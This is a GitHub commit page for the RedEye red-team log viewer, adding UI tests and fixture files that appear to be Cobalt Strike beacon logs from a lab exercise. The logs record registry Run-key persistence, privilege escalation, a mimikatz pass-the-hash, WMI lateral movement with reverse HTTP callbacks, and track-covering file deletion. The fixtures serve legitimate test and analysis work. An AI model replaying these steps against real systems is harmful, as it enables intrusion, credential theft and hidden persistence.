This repository has been archived by the owner on Oct 20, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 276
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
* Added blue team tests to verify that comments cannot be favorited, that presentation mode navigation works, and that the redacted toggle works. Added another test to hide-show-beacon test to check hiding beacon from kebab menu. * Add blue and red team tests to verify redacted mode. Add blue team test to verify fields in Meta tab are disabled. Add associated data selectors and commands. * Update blue team Meta tab test. * New test and associated data selectors to check Links section of Meta tab. * Update multi-command-comment test to address GitHub failure. * Update timeline test to address GitHub test failure. * Updates to various tests to remove logs; replace waits with page verifications; add new commands and data selectors. * new gt file * update smalldata redeye * Minor updates to clean up tests. * update gt dataset * update dataset * update tests --------- Co-authored-by: Sebastian Ang <[email protected]>
- Loading branch information
1 parent
48fd95d
commit 509b6b1
Showing
37 changed files
with
1,436 additions
and
302 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1 @@ | ||
v16.20.0 | ||
16.20.0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
69 changes: 69 additions & 0 deletions
69
applications/redeye-e2e/src/fixtures/gtdataset/200817/192.168.23.131/beacon_1166658656.log
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,69 @@ | ||
08/17 19:39:38 UTC [metadata] 192.168.23.131 <- 192.168.23.131; computer: COMPUTER02; user: jdoe; process: update.exe; pid: 5288; os: Windows; version: 6.2; build: 9200; beacon arch: x64 (x64) | ||
08/17 19:40:01 UTC [input] <analyst01> 1 20 | ||
08/17 19:40:01 UTC [error] Unknown command: 1 20 | ||
08/17 19:40:05 UTC [input] <analyst01> sleep 1 20 | ||
08/17 19:40:05 UTC [task] <T1029> Tasked beacon to sleep for 1s (20% jitter) | ||
08/17 19:40:34 UTC [checkin] host called home, sent: 16 bytes | ||
08/17 19:41:11 UTC [input] <analyst01> execute-assembly /home/analyst01/payloads/Persistance.exe | ||
08/17 19:41:12 UTC [task] <T1093> Tasked beacon to run program: Persistance.exe | ||
08/17 19:41:12 UTC [checkin] host called home, sent: 125483 bytes | ||
08/17 19:41:12 UTC [output] | ||
received output: | ||
|
||
Example: Persistance.exe -a -k keyvalue -p C:\windows\temp\update.exe | ||
|
||
|
||
Persistance.exe -k <keyvalue> [-a | -d | -c] | ||
-a: adds persistance | ||
-d: deletes persistance | ||
|
||
-c: checks for persistance | ||
|
||
|
||
Arguments: | ||
-p: path to store and execute persistance from | ||
|
||
-k: registry key name | ||
default = SystemUpdateServices | ||
|
||
|
||
|
||
|
||
|
||
08/17 19:41:24 UTC [input] <analyst01> execute-assembly /home/analyst01/payloads/Persistance.exe -c | ||
08/17 19:41:24 UTC [task] <T1093> Tasked beacon to run program: Persistance.exe -c | ||
08/17 19:41:24 UTC [checkin] host called home, sent: 125507 bytes | ||
08/17 19:41:24 UTC [output] | ||
received output: | ||
|
||
Registry HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Values: | ||
OneDrive | ||
|
||
Persistance not found | ||
|
||
|
||
08/17 19:42:04 UTC [input] <analyst01> jump user_persist COMPUTER02 http | ||
08/17 19:42:05 UTC [task] <T1547.001> Tasked Beacon to jump to COMPUTER02 (windows/beacon_http/reverse_http (192.168.23.130:80)) via registry persistance | ||
08/17 19:42:06 UTC [task] <T1093> Tasked beacon to run program: persist.exe -a | ||
08/17 19:42:06 UTC [checkin] host called home, sent: 411201 bytes | ||
08/17 19:42:06 UTC [output] | ||
received output: | ||
Writing C:\Windows\Tasks\systemupdate.exe | ||
Setting file timestamp to 4/26/2012 3:35:14 AM | ||
Adding registry value name: SystemUpdateServices | ||
Adding registry value data: C:\Windows\Tasks\systemupdate.exe | ||
|
||
|
||
08/17 19:42:34 UTC [input] <analyst01> execute-assembly /home/analyst01/payloads/Persistance.exe -c | ||
08/17 19:42:34 UTC [task] <T1093> Tasked beacon to run program: Persistance.exe -c | ||
08/17 19:42:35 UTC [checkin] host called home, sent: 125507 bytes | ||
08/17 19:42:35 UTC [output] | ||
received output: | ||
|
||
Registry HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Values: | ||
OneDrive | ||
<Hidden registry value> | ||
|
||
Persistance found | ||
|
||
|
143 changes: 143 additions & 0 deletions
143
applications/redeye-e2e/src/fixtures/gtdataset/200817/192.168.23.131/beacon_2146137244.log
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,143 @@ | ||
08/17 19:56:28 UTC [metadata] 192.168.23.131 <- 192.168.23.131; computer: COMPUTER02; user: jdoe *; process: update.exe; pid: 5216; os: Windows; version: 6.2; build: 9200; beacon arch: x64 (x64) | ||
08/17 19:57:12 UTC [input] <analyst01> sleep 1 20 | ||
08/17 19:57:12 UTC [task] <T1029> Tasked beacon to sleep for 1s (20% jitter) | ||
08/17 19:57:27 UTC [checkin] host called home, sent: 16 bytes | ||
08/17 19:57:39 UTC [input] <analyst01> elevate svc-exe smb | ||
08/17 19:57:39 UTC [task] <T1035, T1050, TA0004> Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\mspipe_effe) via Service Control Manager (\\127.0.0.1\ADMIN$\e2ab98d.exe) | ||
08/17 19:57:39 UTC [indicator] service: \\. e2ab98d | ||
08/17 19:57:39 UTC [indicator] file: 53aaa7c5ebe41d350e4118da2bff5caf 289280 bytes \\127.0.0.1\ADMIN$\e2ab98d.exe | ||
08/17 19:57:39 UTC [checkin] host called home, sent: 291412 bytes | ||
08/17 19:57:39 UTC [output] | ||
received output: | ||
Started service e2ab98d on . | ||
|
||
08/17 19:57:42 UTC [output] | ||
established link to child beacon: 192.168.23.131 | ||
|
||
08/17 20:07:19 UTC [input] <analyst01> rev2self | ||
08/17 20:07:19 UTC [task] <> Tasked beacon to revert token | ||
08/17 20:07:19 UTC [input] <analyst01> pth EXAMPLE\rrockstone 735cb4e5f8ee5e03d96841259fb28dad | ||
08/17 20:07:20 UTC [task] <T1075> Tasked beacon to run mimikatz's sekurlsa::pth /user:rrockstone /domain:EXAMPLE /ntlm:735cb4e5f8ee5e03d96841259fb28dad /run:"%COMSPEC% /c echo e76813ed44b > \\.\pipe\268c2f" command | ||
08/17 20:07:20 UTC [checkin] host called home, sent: 438835 bytes | ||
08/17 20:07:20 UTC [input] <analyst01> jump lateral COMPUTER03 http | ||
08/17 20:07:20 UTC [task] <T1546.003, TA0008> Tasked Beacon to jump to COMPUTER03 (windows/beacon_http/reverse_http (192.168.23.130:80)) via wmi shenanigans | ||
08/17 20:07:21 UTC [checkin] host called home, sent: 83 bytes | ||
08/17 20:07:21 UTC [task] <T1093, TA0008> Tasked beacon to run program: lateral.exe -w COMPUTER03 | ||
08/17 20:07:21 UTC [output] | ||
Impersonated EXAMPLE\jdoe | ||
|
||
08/17 20:07:21 UTC [output] | ||
received output: | ||
user : rrockstone | ||
domain : EXAMPLE | ||
program : C:\Windows\system32\cmd.exe /c echo e76813ed44b > \\.\pipe\268c2f | ||
impers. : no | ||
NTLM : 735cb4e5f8ee5e03d96841259fb28dad | ||
| PID 1812 | ||
| TID 6012 | ||
| LSA Process is now R/W | ||
| LUID 0 ; 1682680 (00000000:0019acf8) | ||
\_ msv1_0 - data copy @ 0000018FB44DC460 : OK ! | ||
\_ kerberos - data copy @ 0000018FB4589F48 | ||
\_ aes256_hmac -> null | ||
\_ aes128_hmac -> null | ||
\_ rc4_hmac_nt OK | ||
\_ rc4_hmac_old OK | ||
\_ rc4_md4 OK | ||
\_ rc4_hmac_nt_exp OK | ||
\_ rc4_hmac_old_exp OK | ||
\_ *Password replace @ 0000018FB458B428 (32) -> null | ||
|
||
|
||
08/17 20:07:22 UTC [checkin] host called home, sent: 412763 bytes | ||
08/17 20:07:23 UTC [output] | ||
received output: | ||
|
||
Starting lateral movement using wmi to COMPUTER03 | ||
Writing \\COMPUTER03\C$\Windows\Temp\update.exe | ||
|
||
|
||
08/17 20:07:33 UTC [output] | ||
received output: | ||
Creating event filter | ||
Creating event consumer | ||
Binding filter and consumer | ||
|
||
Waiting for trigger | ||
|
||
|
||
|
||
08/17 20:08:38 UTC [output] | ||
received output: | ||
|
||
Event Filters: | ||
Removed object | ||
|
||
Event Consumers: | ||
Removed object | ||
|
||
Bindings: | ||
Removed binding | ||
|
||
|
||
08/17 20:08:48 UTC [output] | ||
received output: | ||
Covering tracks | ||
Deleted \\COMPUTER03\C$\Windows\Temp\update.exe | ||
|
||
|
||
08/17 20:31:32 UTC [input] <analyst01> execute-assembly /home/analyst01/payloads/Persistance.exe | ||
08/17 20:31:32 UTC [task] <T1093> Tasked beacon to run program: Persistance.exe | ||
08/17 20:31:33 UTC [checkin] host called home, sent: 125495 bytes | ||
08/17 20:31:34 UTC [output] | ||
received output: | ||
|
||
Example: Persistance.exe -a -k keyvalue -p C:\windows\temp\update.exe | ||
|
||
|
||
Persistance.exe -k <keyvalue> [-a | -d | -c] | ||
-a: adds persistance | ||
-d: deletes persistance | ||
|
||
-c: checks for persistance | ||
|
||
|
||
Arguments: | ||
-p: path to store and execute persistance from | ||
|
||
-k: registry key name | ||
default = SystemUpdateServices | ||
|
||
|
||
|
||
|
||
|
||
08/17 20:31:42 UTC [input] <analyst01> execute-assembly /home/analyst01/payloads/Persistance.exe -c | ||
08/17 20:31:42 UTC [task] <T1093> Tasked beacon to run program: Persistance.exe -c | ||
08/17 20:31:42 UTC [checkin] host called home, sent: 125519 bytes | ||
08/17 20:31:42 UTC [output] | ||
received output: | ||
|
||
Registry HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Values: | ||
OneDrive | ||
<Hidden registry value> | ||
|
||
Persistance found | ||
|
||
|
||
08/17 20:31:51 UTC [input] <analyst01> execute-assembly /home/analyst01/payloads/Persistance.exe -d | ||
08/17 20:31:51 UTC [task] <T1093> Tasked beacon to run program: Persistance.exe -d | ||
08/17 20:31:52 UTC [checkin] host called home, sent: 125523 bytes | ||
08/17 20:31:52 UTC [output] | ||
received output: | ||
Removed file: C:\Windows\Tasks\systemupdate.exe | ||
Successfully removed registry value: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdateServices | ||
|
||
|
||
08/17 20:42:13 UTC [error] lost link to child beacon: 192.168.23.131 | ||
08/17 20:43:12 UTC [input] <analyst01> exit | ||
08/17 20:43:12 UTC [task] <> Tasked beacon to exit | ||
08/17 20:43:12 UTC [checkin] host called home, sent: 8 bytes | ||
08/17 20:43:12 UTC [output] | ||
beacon exit. | ||
|
Oops, something went wrong.